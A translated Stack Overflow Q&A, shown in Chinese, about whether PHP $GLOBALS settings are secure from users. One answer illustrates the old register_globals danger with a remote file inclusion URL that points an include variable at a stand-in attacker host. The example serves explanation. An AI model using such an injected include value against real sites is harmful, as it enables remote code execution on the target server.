首页
学习
活动
专区
圈层
工具
发布
社区首页 >问答首页 >PHP \ $GLOBALS安全查询

PHP \ $GLOBALS安全查询
EN

Stack Overflow用户
提问于 2015-07-25 09:18:52
回答 2查看 2K关注 0票数 3

我的应用程序中有一个settings.php页面,它使用$GLOBALS存储web应用程序中使用的配置。

例如,他是我使用的示例设置变量:

代码语言:javascript
复制
$GLOBALS["new_login_page"] = 1;
$GLOBALS["secret_cross_check_token"] = 3243242342423;

然后,我在其他页面上调用这些全局函数(因此我使用$GLOBALS)来执行任务,例如,如果用户将全局切换到1,就给他们一个新的功能。

问题是:

这对我来说真的很好,我不希望使用数据库来存储它们,不过最近我开始思考,$GLOBALS安全吗?用户可以读取或操作它们吗?如果是,解决办法是什么?

我知道这是服务器端,但我只是怀疑用户是否可以以某种方式访问$GLOBALS

EN

回答 2

Stack Overflow用户

发布于 2015-07-25 09:26:26

全局变量只能访问服务器端,您可以安全地使用它们。

如果用户可以访问您的globals变量,这是因为他获得了在您的服务器中执行代码的权限,因此,在本例中,他可以做的事情比读取您的全局变量多得多。

如果用户能够在您的服务器中执行代码,他将能够很容易地复制您的所有文件和数据库,因此访问全局变量不会成为主要问题。

票数 5
EN

Stack Overflow用户

发布于 2015-07-25 09:37:44

$GLOBALS是完全安全的全局变量。http://php.net/manual/en/reserved.variables.globals.php

用户没有访问它的权限。

“安全性”是关于register_globals指令的。但它从php中删除了。http://php.net/manual/en/security.globals.php

重点是,例如,我忘记将一些$includeFile定义为'inc.php',而我正在做include $includeFile;,有人可以直接去http://mysite.ru/script.php?includeFile=http://hackersite.ru/script.php并包含他自己的文件。

不是很好的例子,而是一些“接近”的东西。

但是它不是关于$GLOBALS的,所以你不应该担心那里的安全。

英语很抱歉。

票数 4
EN
页面原文内容由Stack Overflow提供。腾讯云小微IT领域专用引擎提供翻译支持
原文链接:

https://stackoverflow.com/questions/31624949

复制
相关文章

相似问题

领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档